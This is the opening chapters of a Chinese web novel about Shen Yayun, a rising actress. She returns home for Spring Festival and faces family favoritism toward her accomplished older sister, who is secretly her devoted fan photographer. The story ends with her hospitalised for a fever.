《站姐,但亲姐版》
1. 第 1 章
不到下午四点,远处的日轮堪堪停留在山头,好似一个不小心就要垂落下去。
沈雅韵隔着玻璃仔细盯着,不一会,眼前刚刚擦干净的玻璃便又蒙上一层细雾,这下山头上的太阳更像是散了黄的蛋,黄澄澄的一片。
“雅韵,到了。”
经纪人的声音将她的思绪拉回,抬头一看脸上顿时带了笑,双眼弯弯转过头。
“谢啦,回来给你带好吃的。”
说完便冲着门边上的按钮按了下去,门刚刚打开一条缝,便被身后一只手紧急按上。
“围巾带上!”
经纪人一把按下按钮,刚开了一条缝的车门缓缓关上,把人拉回后,无奈的将落在座位的围巾帽子给她,忍不住埋怨。
“现在不比以前,怎么还是一点防护意识没有。”
沈雅韵却没怎么听,一把扯过围巾在脖子上绕了两圈,帽子一扣,按下开门按钮。
门开了一半,一只脚便踏到了地上,半个身子倾出车外,围巾跟在她身后,长长一扯,人和围巾都到了车外,只剩欢愉的话语留在温暖的车内。
“好了好了,我走了,年后再见。”
下了车快步走了几步,又想起来什么,转过身向关上的车门大力挥手。
“新年快乐呀~”
道完‘新年快乐’,想起了什么,左右看了一下停车场,停车场的灯光压抑又昏暗,四周静悄悄的,除了车远去的声音,一点声音也无。
安静得可怕。
将因为挥动手臂而堆在下颌的围巾扯起遮住半张脸,帽檐压下,急急忙忙往电梯走。
上天保佑,千万不要被人认出,让她顺利到家。
她暗戳戳的祈祷,甜蜜又沉重。
要是三个月前,自己一个名不见经传的小演员压根不会担心被人认出,糊得很安心。
但也就是在三个月前,她的一张剧组照火出圈,小火一把,商务更多的同时也更多人认得她,以至于现在回家都不能像以前一样光明正大了。
红的代价呀~
心里正臭美,头猛地撞到什么东西,坚硬柔软,比疼痛更先来的是淡淡的柠檬清香,清新而不失温和。
“不好意思。”不管三七二十一先道歉,然后才低头捡被撞掉的帽子。
“雅韵?”声音温柔带着几分不确定。
熟悉的声音让沈雅韵一下忘了戒备,下意识抬起头,熟悉又陌生的脸让她愣住。
“乔霖哥?你,你回来了?”
乔霖,他们的邻居,准确说是以前的邻居。
乔霖他们一家就住自己家对门,两家父母交好,乔霖和她姐还同龄,小时候经常一起出门上学,两家互相照应,直到八年前乔霖全家搬去国外,这才少了联系。
按理说她本不该对比自己大四岁的乔霖这般记忆深刻,但少年时乔霖特别照顾她,以至于这个哥哥搬去国外了她还念念不忘,此刻猛然见到人回来自然是又惊又喜。
天蓝色的围巾从下颌处滑落,露出光滑小巧的半张脸,栗眸澄澈,呆愣愣的,好像雪地里的小鹿。
乔霖笑了,清浅的笑意在他眼底浮动,像是天鹅拂过的阳光照耀下的水面,碧光粼动。
“刘姨让我来接你,”说着转头扫过四周,确认无人后,伸手自然接过她手中的行李箱,“我妈也在你家,走吧,上去再说。”
“李姨也在?”
“嗯嗯。”
沈雅韵还没从见到多年的好友中回过神来,听闻乔霖妈妈也在自己家,顿时惊喜,见他伸手,下意识递过箱子,亦步亦趋跟着他走。
乔霖身形高大,高长的黑色大呢像是为他量身定做般,走在夜里形似挺拔的松,风雪亦不能侵袭他身上的温暖。
“乔霖哥你不是去M国了吗?怎么回来了?”
“我妈想回来,我也觉得国内挺好,就回来了。”
乔霖轻笑,温和的声音轻描淡写落在风里,电梯还没下来,两人站在门前等待,沈雅韵趁机把围巾扯上一点,仰头看向他,对上他温柔的眼眸又是一愣,不好意思低下头,脸颊发热,莫名有些紧张。
“乔,乔伯父身体还好吗?你们是一起回来的吧?”
乔霖沉默,薄唇轻抿,过了一会才道,“爸爸他去世了。”
正尴尬着的沈雅韵瞬间被惊的抬起了头,猛然想起八年前乔霖他们家搬去国外的原因就是给乔伯父治病,顿时懊恼。
“对,对不起,没想到伯父……节哀……”
“无事,两年前的事了。”
乔霖笑笑,不以为意,伸手挡住电梯门,让她先进去,等她进去后,缓声道。
“其实一开始父亲就不想治疗,是妈妈一直坚持,才延了六年时间。”
“爸爸走后,妈妈住在国外不会外语,人生地不熟,干脆就搬回来了,搬回来大家都照顾她,挺开心的。”
“那,那就好。”
沈雅韵松了一口气,咬了咬唇,想说点什么又不敢再说怕说错话,最后还是乔霖打破沉默。
“倒是没想到雅韵最后会当明星呢,很厉害哦。”
温柔的夸赞夸得她脸颊更热,更加不好意思,“什么明星啦,就是个小演员,别听我妈乱讲。”
乔霖张了张口,笑着想说些什么,电梯门却正好在此时打开,只好将话语咽下,提着行李箱走在她身后。
沈家大门敞开,沈父站在门前看见他们两人瞬间笑开了花。
“爸~”
“雅韵回来啦,快进来~”
“辛苦乔霖了~”
“没事,叔叔,应该的。”
沈雅韵走进门,看到沙发上坐着的熟悉人影后,立刻冲上前去抱住。
“李姨,好久不见~”
“好久不见啊,雅韵。”
温暖的气息袭来,坐在沙发上气质温和的贵妇人立刻回以拥抱,脸上也扬起灿烂的笑容,眼底好似有湿意,“雅韵都这么大了,想当年也就那么小一个,现在都长成大姑娘了……”
眼看情绪不对,刘文惠连忙相劝。
“这些年她也就长了个子,”说着瞪了她一眼,“雅韵,还不快放开你李姨,你这么重,别压着她了。”
沈雅韵不甘不愿直起身,撇了撇嘴角,小声反驳,“哪里重了……”
她可是演员,为了镜头上好看一点,身材管理杠杠的好不好……
刘文惠又瞪了她一眼,沈雅韵乖乖站起身,李怜蕾却拉着她不让她走,瞪了刘文慧一眼,帮着孩子说话。
“
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就是,雅韵一点也不重,别听你妈乱讲,要我说雅韵还是太瘦了些,多吃点才好呢~”
闻言沈雅韵瞬间开心起来,李姨还是和以前一样,从来不说打击人的话,和乔霖哥一样,一家子温柔又和气,她小时候甚至想过要是李姨是自己妈妈就好了。
乔霖顺势在母亲身边坐下,笑看着两人交握的双手,眼底的笑意更加真切,帮着二人说话。
“雅韵确实太瘦了些。”
见两人都帮她说话,刘文惠也不再多说什么,将早就准备好的零食水果端上来,招呼大家一起吃。
沈雅韵顺势在李姨身边坐下,陪着老人聊天。
她本就生得乖巧,再加上这几年在演艺圈摸爬滚打,艺人的基本素养齐备,逗人说笑的本事越发见长,不一会便逗得李怜蕾开怀大笑,握着她的手到出门前也没松开过,刚进门时低沉的气氛一扫而空。
几人其乐融融,聊着聊着不一会天就黑了,刘文惠和沈爸连忙招呼李怜蕾和乔霖留下来吃晚饭,李怜蕾眼里闪过不舍,却到底还是拒绝了。
“不用了,我和乔霖刚到家,很多东西还没来得及收拾,不收拾好,我这心里就跟有什么事一样放不下,我们还是先回去吧。”
刘文惠和沈父还是执意要两人留下,沈雅韵也跟着劝,但到底没劝住,最后还是乔霖一句话结束了这番拉扯。
“刘姨,沈伯,我们先回去,等收拾好请你们到我家吃饭也是一样的,反正回来了,也不急于这一时是不是?”
乔霖说话向来温和却又让人没法拒绝,沈家二老互相看了看,最后无奈道,“这倒也是,来日方长。”
到底不再强求,沈雅韵虽然不舍,也只好放手让两人离开。
两人离开后,热闹的气氛顿时散去了几分,但温馨依旧。
厨房很快热气升腾,切菜声炒菜声络绎不绝,井然有序中伴着沈家两老几声争执,似乎是为哪个调味料先下哪个后下争了一两句,沈雅韵不管这些,把行李箱拖到房间整理自己的行李。
上次的那部戏还没拍完,年过完后还要拍,所以在家也不会太长时间,带的衣服也没多少,收拾起来倒也快。
等她收拾好,母亲的叫喊也到了。
“雅韵,出来吃饭。”
“好,知道了~”
比母亲声音更先到的是饭菜香,诱人的香气在她收拾衣物的时候便传来过来,勾得肚子里的馋虫直叫,此刻一听能吃饭了,不管三七二十一连忙将手上的衣物往柜子里胡乱一塞,‘噌’地一下到了餐桌前。
碗筷未上手先行,可惜还没捏起那块香气四溢的肉片,手背被人不轻不重敲了一下,一抬头刘文惠瞪着她。
“洗手去。”
“……哦”
虽然没吃到肉有点扫兴,但还是快乐的洗完手,快乐坐到桌前,快乐夹起一块子肉,肉化在舌尖,沈雅韵满足喟叹一声,顿时将经纪人的节食叮嘱扔到了九霄云外。
这才是人吃的东西啊~
库库狂炫一顿,等她想起经济人的叮嘱已经是一碗饭之后的事了,看着面前光溜溜的碗,顿时纠结,在她还没纠结好继续吃还是就吃停手,听到母亲的问话,纠结的小脸顿时拧得更紧。
“问了没有,你姐什么时候回?”
2. 第 2 章
她姐——沈雅歌。
听到问话沈雅韵放下了筷子,眉心微蹙,没有答话。
还没回到家母亲便催着自己问沈雅歌具体回家日期,她就不明白了,他们自己问不就行了,干嘛一定要通过她的口。
刘文惠着她的表情猜到什么,眉心顿时拧起,“你这孩子,没问是不是?”
沈雅韵撇过头,神情别扭。“没有。”
“为什么不问?现在问,快问。”刘文惠皱着眉盯着她,势有她不问就盯她一晚上不放的气势。
“你们自己问嘛,干嘛要我问……”沈雅韵试图反抗。
“叫你问就问,哪那么多话?”
刘文惠眉心越发皱紧,一旁吃饭的沈父察觉气氛不对,连忙打圆场。
“韵韵啊,妈妈叫你问一下,问就好了,雅歌工作忙,我们问她没回消息,你就帮忙问一下啊。”
这是什么理由,沈雅歌忙得不回他们消息,难道看到自己就不忙了?
内心腹诽,但母亲一直盯着她,迫于母亲多年的威压,不情愿的拿出手机,找到某个备注,打开对话框。
对话框只有每年过年时的几个红包接受,沈雅歌发,她收,她发,沈雅歌收。
一句多余的话也无,只有冰冷的金钱交易……
看着这个聊天框想到自己要给沈雅歌发消息,顿觉尴尬,眯着眼快速扔了几个字点了发送,随后快速将手机合上放在桌子一边,活像是什么烫手山芋。
“别看了,你不是说她忙,肯定看——”
‘不到’两个字还没道出口,被她扔在一旁的手机便震动了起来,提示有消息来了。
说了一半的话卡在喉口,上不去下不来。
‘嗡嗡’的两声震动不仅她听到了,母亲刘文惠也听到了,眼里顿时放了光,盯着手机示意她赶紧回消息
……
在母亲虎视眈眈的注视中,沈雅韵硬着头皮拿起手机快速打开聊天框扫了一眼。
比她的问话还要简单的两句回复。
【25】
【不用等】
25,也就是大年三十,算了下日子,望向注视着的母亲讪讪道,“她说除夕回,让我们先吃,不用等她。”
闻言刘文惠眼底划过失望,不过很快又催她。
“你问问她上午回下午回?”
“你自己问嘛~”沈雅韵不情愿。
“这孩子,叫你问下怎么了,那是你姐。”刘文慧皱眉不解地看了她一眼,嫌她磨叽,“把手机给我,我来问。”
……
沈雅韵挣扎了一会了,在自己尴尬还是母亲回复中,将手机交给了母亲,她问就她问吧。
心一横,抿着唇把手机交出去。
刘文慧抢过手机,指尖在屏幕上点击了几下,一段字顺着网络瞬间到达某座高楼内。
高楼上某间办公室的灯依旧亮着,透亮的落地窗下城市夜景一览无余,a市的标志性地标建筑在窗外散发着五彩光芒。
“……沈姐,您觉得这样可以吗?”
桌后的人没有回话,手机冷白的灯光照耀在那人脸上,将本就白皙的脸照的更加惨白,而那人却好似看见了什么令人愉悦的东西,常年严肃的面容此刻竟带了笑。
汇报的下属心底一惊,忍不住再问了声。
“姐?”
沈雅歌反手将手机扣在桌上,面容平静,波澜不惊。
“就按你说的办。”
“好的。”
下属点点头,将计划书合上,想起刚刚的笑容却多少有些迟疑,下意识看向桌后年轻的上司,也是他们整个项目的技术骨干,试图从她脸上看出什么不一样的东西。
然而沈雅歌神色平静,刚刚的笑意好似只是他工作压力太大而产生的幻觉。
“还有事?”
沈雅歌皱眉,下属一下惊醒,连忙道‘无事’。
她点点头,想了想叮嘱了句,“这次项目工作量大,加班辛苦,我向上面请示了项目上市后奖金翻倍,好好干。”
虽然说是请示,但下属深知沈雅歌申请的东西就没有批不下来的,顿时带了笑,原本因为加班生的怨气顿时一消而散,人都精神不少。
“谢谢沈姐。”
“嗯。”
等人走出办公室带上门,沈雅歌这才翻开手机,继续看刚刚的消息,唇角勾起,笑意明显。
轻点了几下,消息发送后,看了一会放下,打开电脑,继续忙项目,只是冰冷屏幕下映照的唇角弯起,一直到深夜也没下来过。
这边刘文慧也得到了满意的答复,唇角弯起,把手机递给女儿。
“你姐说上午回。”
“……哦。”
她才不关心沈雅歌什么时候回,沈雅韵懒懒回了句,接过手机想看看有没有其他消息,却在看到母亲没有关闭的聊天框后顿时瞪大了眼。
她:【中午回还是下午回?到时候来接你(爱心)(爱心)】
她:【(开心)】
沈雅歌:【中午,好】
不是,她妈发了什么啊这是,啊————
她才不要去接沈雅歌!还有这表情包,怎么回事!!!
“妈———”沈雅韵气急败坏。
“干什么啦,你妈还没聋,听得到。”刘文慧皱眉抬头看她。
“你———啊————”
她抓狂,看着母亲莫名其妙的神情又不知该说什么,顿时没了吃饭的心情,筷子放下,面色纠结站起身,拿起手机快步回房。
“这么就吃这么点?多吃一点啊——”
刘文慧看着小女儿莫名其妙吼了一句就不吃饭走人了,立刻想把人喊回来,却被一旁看在眼里的沈父拉住。
“孩子不想吃就随她去吧啊。”
沈父劝了几句,刘文慧这才打消让女儿继续回来吃饭的想法。
沈雅韵气愤回房,蒙着被子尖叫捶打了一顿,过了好一会才头发凌乱的从被窝出来,脸颊通红,不知道是闷的还是气的。
拿起刚刚被她扔到一旁的手机,挣扎了一会打开和沈雅歌的聊天框,那几个可爱的表情包看得她又尴尬得想晕过去。
啊———
下次再也不会把手机交给老妈了,再也不会!
深吸一口气,像是下定了决心一般站起身,视死如归的盯着聊天框,快速打出一段字,仔细盯了一会,又全部删掉,重新再打一段,依然觉得不行,再删,再打。<
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在房间来回踱步了不知道多少个来回,终于是下定了决心,狠狠心,将最新打的几个字发了出去,消息一发出,连忙将手机扔至床头柜,坐在床边,紧张的盯着。
然而不知道沈雅歌是太忙了还是生气了,等了十来分钟,预期中的消息仍旧没有到来,沈雅韵心下松了一口气又好像没有完全放松,纠结了一会,还是把手机就这么扔在床头柜,自己蒙上被子睡去。
a市凌晨三点某座大厦,大部分区域都关了灯,处在黑暗中,唯独某人的办公室还亮着灯。
敲下最后一行字符,揉了揉略微酸涩的眼,想起什么,唇角轻轻弯起,拿起静置在一旁的手机,划开锁屏,一大片的未读消息化作红点显示在聊天框前,一堆工作群中,置顶的那个聊天框显得干净又清爽,只显示了一条消息未读。
心情大好的点开聊天框,过了一会,弯起的唇角渐渐垂了下去,目光也黯淡了几分。
眼眸微眨,似乎是被什么打击了一般,神情怏怏放下手机,打开刚合上的电脑,只不过这一次点开的页面不再是复杂的、让人看不懂的代码数字,而是一张网页。
网页属于某个大社交平台,此刻点开的正是她的个人账号。
账号‘北山尾’,头像是一只圆白的北长尾山雀,圆滚滚、胖乎乎,可爱至极。
互相关注一人,粉丝五万多。
再往下看,账号大部分内容都是各种鸟类的抓拍照片,在庞大的鸟照片库里,几张人像照片格外醒目,还做了置顶处理。
几张人像照看时间都是三个月内拍摄,然后一条照片获得的点赞量却比所有观鸟照片点赞量都要多。
点开人像照仔细欣赏了一会,又翻了一下底下的评论,评论都是在夸照片拍得如何如何美,人是如何如何美,给夸人的几个评论点了赞,满意退出账号,心情得以恢复,这才打开刚刚被她关上的聊天框。
冷白的屏幕上备注着‘韵韵’二字的聊天框,黑正的字体显示着刚刚韵韵给她发的消息。
在她回了‘中午,好’之后,一行刺目的黑色字体赫然其上。
【刚刚是妈拿我的手机发的消息,你别误会,到时候爸妈会去接你的】
“你会来吗?”她打出几个字却又连忙删掉,指尖放在屏幕上良久,才重新编辑了几字。
夜色浓重,床头柜上的手机嗡嗡震动了一下,屏幕亮起白光,睡得正香的沈雅韵迷迷糊糊睁眼,将手机从柜子上摸下,迷迷糊糊打开聊天框。
【刚刚是妈拿我的手机发的消息,你别误会,到时候爸妈会去接你的】
【好,没事】
眼睛虽然已经睁开,脑子却好似还在梦里,云里雾里之间看着屏幕上的字,大脑只有一个想法‘她怎么还没睡?’
眼睛朦胧发出消息,把手机设为睡眠状态,扔到一旁,继续睡觉。
料想妹妹已经睡着不会有回应的沈雅歌,猝不及防看到一条消息冒出,心脏漏了一拍,在看清楚发的消息后,原本压下的嘴角再次扬起。
【早点休息,晚安】
【晚安。】
聊天框内多了一条消息,因为设置了睡眠模式,消息并无提醒,早早缩进被窝的人一夜无梦到天明。
3. 第 3 章
除夕清晨,爆竹声没吵醒的沈雅韵被一阵尖锐的打扫声惊醒,眼睁了又闭,最后揉了揉眼,有些疲惫。
和所有的打工人一样,放假回到家也只想睡上几天,躺个昏天黑地。但刘文慧女士总是选择在清晨打扫卫生,每次打扫卫生的动静都能把她吵醒。
“妈,就不能晚点再扫地吗?”
她抱怨出声,母亲的回应隔着门传来。
“今天你姐回来,不打扫干净像什么话。”
“你昨天刚打扫过……”怎么可能又脏了啊,家里一共就她、自己和爸爸三个人,又没别人来过,哪那么多要打扫的。
母亲没说话,回应给她的是挪桌椅的声音。
得,别睡了。
挣扎着爬起,洗漱完,走到客厅想看看她到底在忙些什么。
走到客厅坐下,只见勤劳的刘文慧女士脸上手上戴着手套,提着桶,把昨天清理过的地方重新又清扫了一遍,又是擦又是抹又是洗,看得她由衷佩服她的精力。
佩服归佩服,也是真心觉得这些活繁琐,忍不住抱怨。
“差不多得了……”
“什么差不多,打扫卫生就像做学问,要是都你这种心态啊,那就完了。”当了一辈子高中教师刘文慧头也不抬,继续擦手下的橱柜。
沈雅韵无言,又做不到看着母亲忙活,便也拿了块抹布帮忙,结果擦了一会就被母亲嫌弃碍事,推到一边去了。
“等下衣服换一下,陪我去买菜。”
“哦。”
沈雅韵没有意见,换上衣服带上蓝色围巾帽子,等她忙完一起出门。
母女俩走出家门,刘文慧熟门熟路带着她走到菜市场,菜还没买上多少,和老板聊得一个比一个开心。
沈雅韵插不上话,她以前在家的时候也很少来菜市场,这些人都不认识,便是有几个眼熟的现在也叫不出名字来了,为了不尴尬,只好装乌龟低头玩手机。
然而母亲和人聊着聊着就聊到她身上了,哦,不,是旁人看到她缩在刘文慧旁边,好奇问了句。
“这是雅韵吧?”
听到自己的名字,沈雅韵下意识抬起头回以微笑。
“听说雅韵现在在演戏啊?真是了不得哦~”
唇角压不住要弯起,刚要谦虚一下,忽然听一旁的母亲接的话的,唇顿时弯了下去,不服气的撇撇嘴。
“小孩子家家闹着玩的,不成事,不知道要我操多少心呢。”刘文慧没注意她的神情,笑盈盈和老板聊着,“操心孩子正常的,那个做父母的不操心孩子。”
菜摊老板目光从沈雅韵身上移开,看向刘文慧,顺道说起自家孩子,“我家孩子不也是,小时候调皮捣蛋的,用棍子打也不肯学习。”
说到学习,菜摊老板好像想起了什么,看着刘文慧的目光里带了羡慕,“说起来还是你们雅歌厉害啊,一点都不用人操心,学习次次第一,听说一毕业就进了那什么……海洋企业是不是?”
“那是海曲。”刘文慧一听人说起沈雅歌,脸上顿时笑开了花。
“哦,对对对,海曲公司,”菜摊老板不好意思笑笑,“我可是听我儿子说了,说这是全国都很有名的公司,好多海龟,那些h大毕业的都进不去,你们家雅歌一毕业就能进里面,厉害厉害~”
菜摊老板夸赞声旁人也听到了,也跟着聚了过来,沈雅韵打眼一看,都是些熟悉又陌生的脸,还来不及做什么反应,便被这群人挤开了母亲身边。
“是雅歌吧?雅歌那孩子真是厉害。”
“从小就是第一啊,初中还跳级,找工作也厉害。”
“可不是,那孩子我从小看着长大,灵气得不得了,那年有个算命的,沈雅歌路过他的摊前,算命的一看就说这孩子顶顶有出息。”
“可不是有出息么,我家孩子要是有一半雅歌这么聪明就好了。”
“可不是嘛~”
眼看所有人的关注点从自己转移到沈雅歌身上,再看母亲也开心得不行,沈雅韵撇了撇嘴,悄悄走开一些,无聊的翻着手机。
百无聊赖打开手机,几条祝福消息让她心情好了一点,一一回复,想起什么,打开某个大眼平台,看了一下粉丝数,3324818的数字让她不由弯起唇。
要知道三个月前这个数字还不到百万。
看到这些个令人愉悦的数字,想起什么,点开关注列表,找到熟悉的雪白小鸟头像,发送了句‘除夕快乐,新年快乐’
等了一会没人回,沈雅韵也不在意,她这个站姐极少时候能秒回,想来是工作忙的缘故。
发完消息,抬头看了眼被众人包围的刘文慧女士,一群人的话题已经从讨论沈雅歌如何优秀,变成了向刘文慧讨教如何教出这么优秀的女儿。
刘文慧只是一个劲的谦虚,但身体洋溢的快乐却难掩她的骄傲自豪。
沈雅韵注视了一会母亲灿烂的笑容,目光闪了闪,犹豫要不要现在离去,现在不离开的话,她怕……然而怕什么来什么,刚想离开,一道粗实的声音越过人群传入耳道。
“说起来文慧你家还有一个女儿吧,那孩子也是聪明的紧。”一个大妈仰着头回忆道。
“什么,你记错了,那丫头可没雅歌聪明。”
“啊,对,我想起来了,好像叫雅韵是吧?雅韵当年可是让文慧操了不少的心啊。”
“雅韵啊?那孩子和她姐姐一点都不像,跟她姐姐成绩一个天一个地的,还特调皮,小时候就和同学打架,那孩子不行,又懒又笨。”
“你这么一说我也想起来了,那孩子啊……”
又来了,眼看这群人把自己说得什么都不是,沈雅韵咬牙。
按理这样的情形听了这么多年早该习惯,但也不知是不是太久没回家的缘故,再次听到还是这样刺耳,但她到底不是几年前只会隐忍的孩子,混演艺圈这几年多少带了点脾气。
恨恨瞪了一眼多嘴的几个妇人,抬步上前。
“诶,这不是刘婶吗?”
找准说自己又懒又笨的那个人,沈雅韵笑着上前,谈话的人大概没想到讨论当事人就在现场,顿时有几分尴尬。
刘文慧笑容在几人谈起沈雅韵时便淡了下来,此刻看到她走上前,面色更是不自然。
“你这孩子,躲在后面做什么,快叫人。”
叫什么人,她才不叫。
不顾母亲警告的眼神,沈雅韵走到人群中间。
“刘婶记忆力真好,连我小时候打架的事的都记得。”
笑意不及眼底,被称作刘婶的妇人有几分尴尬,讪讪道。
“这不是关心你这孩子嘛,呵呵~”
“关心……”
沈雅韵意味不明,眼底光芒更甚,刘文慧却看出了几分不对,扯住她的衣袖,示意她不要说话,然而终究阻止不及。
“劳烦婶子关心,不过有这功夫您还是多关心你那儿子吧,小时候就掀人家女孩子的裙子,现在工作找到了吗?可千万不要像以前……”
“沈雅韵!”
刘文慧厉声打断,又惊又怒地看着她,眼底俱是不可置信。
那被嘲讽的刘婶也反应过来了,雄壮的胸脯起伏不定,明显是被气的,对着犟着不肯低头的沈雅韵便是一顿输出。
“说什么呢,我儿子好得很!你个小丫头片子,脾气这么大,长辈说你两句怎么了?”
沈雅韵不服气,右眉不自觉高挑,“我成绩再怎么不好,也没有像你儿子一样从一年级就开始抱着女孩子亲,追得人家小女孩找老师哭!”
“沈雅韵,你闭嘴!”刘文慧胆战心惊扯住小女儿的衣服,厉声呵斥不让她说话。
“你,你,你———”刘婶气得不行,头一转,对着赔笑的刘文慧就是怒声质问,“刘文慧,你就是这么教女儿的?”
“你看看,大家伙看看,一点都不尊老,我都六十多的年纪了呀,今天被一个小辈骂,我还要不要脸,不如死了算了呀~”
刘婶大声嚷嚷起来,更多的目光从各个角
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落投来,沈雅韵冷笑了一下,这才哪到哪,要说她儿子小时候的‘光荣’事迹,三天三夜也讲不完。
“那还不是你先为老———”
“沈雅韵!道歉!”
话没出口猛的被扯了一个踉跄,面对母亲愤怒得殷红的眼,沈雅韵猛然止了声。
“快道歉。”
母亲扯着她,眼神严厉警告。
菜场忽然静谧下来,无数目光明里暗里投向她们,像是在洞穴中暗中窥视的蝙蝠,无声的注视着他们。
母亲怒视着她,刘婶也不哭了瞪着她,围着她的人脸上隐晦的不赞同,所有人都默认是她的错。
沈雅韵沉默,她并不在乎这些陌生人的想法,只是……
“这么大人了,能不能和你姐姐一样懂点事……”
见她不语,刘文慧着急,眉头皱着,习惯性训斥的话从口中道出,等对上女儿的目光后,瞬间哑然。
沈雅韵抬起头,她的瞳色比家里所有人都要浅一些,此刻栗色的眸子直勾勾的看着她,却好似藏了深海一般复杂的情绪。
静静地看了她一会,慢慢的,那双眸子里的光黯淡下来,像晶莹宝石终于失了光华,长长的眼睫遮下,垂下头。
沈雅韵什么话都没说,径直转身离开,她本来想呵住她,但不知为何一个字都说不出口。
落寞的身影离去,依稀中,这样的背影似乎看过很多次,刘文慧深棕眼眸忽而流露出丝丝迷茫,然而迷茫很快就被歉意代替,转头替女儿道歉。
像以往无数次那样离去,沈雅韵一回家便把自己闷在房间,闷在被子里,浑浑沉沉的什么都不想管。
睡得迷迷糊糊隐约听人说了一句什么,但是隔着门板,她也没听清,这一睡就睡到了傍晚,一阵嘈杂的动静将她吵醒。
睁开眼,窗外的天是深沉的紫雾色,月亮还没出来,只能隐约看清建筑的轮廓,旁的再也看不清。
“怎么会堵在高速上?现在才回来,你们公司也真是,难道离了你就不能转了?除夕才放假,什么公司……”
“回来就好,回来就好,饿不饿,饭还没好,要不要吃点东西填填肚子?”
母亲关心激动的声音和外面的爆竹一样,噼里啪啦说个不停。
在一连串爆竹似的关心声里夹杂着几句简单的回应,虽然有些陌生,但她还是听出来那是沈雅歌的声音。
过了一会,大概是沈雅歌注意到她没在,问了一声。
“韵韵呢?”
“别提了,上午让她陪我买个菜,差点没被她气死。”
母亲略带责怪的声音响起,说着忽然停顿了一下,似乎想等什么人继续问下去,然后并没有人答话,她也就接着说下去。
“说起来也怪刘香梅,好端端的说她做什么,雅韵脾气又不像你,说两句她就生气了。雅韵也是,她说话就那样,干什么和她计较,弄得我在中间不上不下的,唉……”
沈雅韵躺在床上听着母亲像是很无奈也像是等人安慰的抱怨,心里却不像上午那般气愤,反而很是平静,也或许是因为刚睡醒,身体沉沉的,脑子也沉沉的,没有力气生气。
“她在房间里一直没出来?”
沈雅歌的声音听不出情绪,母亲叹了一口气。
“是啊,中午叫她吃饭也没吃。”
中午叫她吃饭?
沈雅韵平躺着,隐约想起好像迷迷糊糊间是听了一句叫喊,好似是有这么一回事。
她回来的时候将近十二点,憋了一肚子火哪还有心情吃饭,没想到一睡就睡到了晚上。
“我去叫她。”
沈雅歌的声音平静如水,她说完后,沉稳的脚步声踏在木地板上,一声声靠近她的房间。
沈雅韵依然躺着,头却微微偏了偏,眼睛看着房门方向,不知道在想什么。
脚步声在门口停下,均匀的三声敲门声响起后,清冷的声线隔着薄薄的木板传入房间,清凉如月下井水。
“醒了?”
4. 第 4 章
等待了一会,直到窸窸窣窣的细微声响从门后传来,沈雅歌耐心等着。
本来中午就该回来,却因为新项目程序运转出了一点小问题,耽搁了一下,等从公司回到家,天便黑了。
她安静的等着轻柔的脚步声朝门口一步步靠近,紧闭的门终于缓缓打开,眼前变得温暖。
柔和的暖黄灯光从门缝漏了些暖光在她身上,带着湿冷空气的黑色大呢也好似也多了些温暖。
灯光被沈雅韵挡着,她站在门口,头发因为刚从被窝起来,慵懒的凌乱。
因为在家,穿的也是睡裙,白色的毛茸裙摆乖整的垂在她脚踝旁,胸口一个笑得灿烂的粉色兔子,领口往后是一个帽子,看不到帽子形状。
沈雅歌下意识往下瞥了一眼,不出意外看到藏在腰侧垂下的长条,那是连在帽子上的装饰,两根长长的兔子耳朵。
去年见她穿过一次,今年还在,看来是喜欢了。
“一起吃饭吧。”
她轻声道了句,沈雅韵站在原地,因为蒙着头睡的缘故,小脸一片通红,大概是还没清醒,愣愣地看着她,粉色兔子也看着她。
“噢。”
似乎清醒了些,沈雅韵转过身往房间走去,不知是要换个衣服还是什么。
沈雅歌也不催,背过身,安静站在门口等着她。
门没关紧,柔和的光彩洒在两侧衣袖上,她垂着眼,倚靠在门侧,像是美术馆里闭馆后,静谧在黑暗中的雕塑,静静回想着沉寂在过往中的岁月。
沈雅歌虽然没有那么长的过往可以回忆,但也想起一些往事,不知是欣慰还是遗憾般叹息了一声,就在这时,一声轻微的声响打断沉浸在黑暗中的思绪。
声响是从雅韵房间传来的。
动静不大,在父母热闹的准备年夜饭的声响下简直小得可以忽略不计,但她还是听见了。
皱了皱眉,有些不确定。
将耳朵贴在门前细心凝听了几秒,刚刚还有的细微动静现在一点声响也没有,房间安静得异常。
不对!
顾不得可能会有的冒犯,沈雅歌立刻推开房门,瞳孔瞬间缩小。
云朵一样的灯下,温暖光芒笼罩着绵软的床,内侧的床沿处,乌黑的发丝散在床边,沈雅韵头垂着,人靠着床坐在地上睡着了一般。
黑色衣摆被风撩起,几个跨步便到了她身边。
“雅韵,韵韵?”
没有回答,好在也没有伤口。
粗略判断了一番,沈雅歌将手搭上她肩膀,立刻被颈项处散发的远超常人的温度烫得皱起眉。
雅韵发烧了。
明确这一点后,眉心拧得更紧,即刻在妹妹身前蹲下,将她双手搭在自己肩上,托住双腿,将人背起。
白色毛绒裙摆柔顺垂在黑色大呢身后。
灯光明灭,沈雅韵恍恍惚惚感到一阵晃动,本就沉重的大脑更是晕乎,耳边说话的声音一会远一会近,等她稍微清醒了些的时候,是在车里。
“你看把孩子气的,让你少说两句。”
“我哪知道……”
父母互相埋怨,车里除了他们低声的争吵,只余风从车窗掠过的低沉声响,她睁开眼,说了第一句话。
“冷……”
冷气不是从外头传来的,像是从骨头里散发的的寒气,冷得她的骨头都跟着痛了起来。
“醒了醒了。”
“雅韵醒了,空调开着呢啊。”
父亲的安慰并没什么用,依然很冷,身体沉重,连抬手的力气的无。
车忽然停了下来,身体不受控制向右侧倒去,落在母亲膝头,随后一件带着体温的大衣盖在了她身上。
大衣盖上后,沈雅韵好受不少,至少不再发抖,车也停了下来。
车停后,车门打开,身体像是任人摆弄的布偶,被人随意翻折,也不知道怎么操作的,身体最后落在了某人的背上,陌生的清香像是生长在雪地上的杉树,冷寂无垠,但……很暖。
很暖,隔着薄薄羊绒衫透出的温度,像是雪地里的火苗,沈雅韵忍不住搂紧了身下人的脖子。
一番折腾终于是到了医院,躺在病床上的的沈雅韵闭着眼,在一阵细密的疼痛后,感受着冰冷的液体流进血管。
液体流入血管后不久,骨子里散发的寒气终于被驱散,身体重新回暖。
父母坐在一旁守着她。
“想不想吃东西?要吃什么,妈妈给你买去。”
沈雅韵对上母亲关切的眼神,摇摇头,“不饿。”
她确实不饿,然而这好像并不能打消母亲的忧虑,刘文慧拧着眉,依然站起。
“我还是去买点吧,中午没吃,晚上也没吃,还是吃点好。”
“不要,我不吃。”
“你这孩子怎么一点也不听话,生病不吃东西怎么……行……”
母亲的声音顿了一下忽然低了下来,沈雅韵有所预料地朝门口看去,果然见沈雅歌从门口走来。
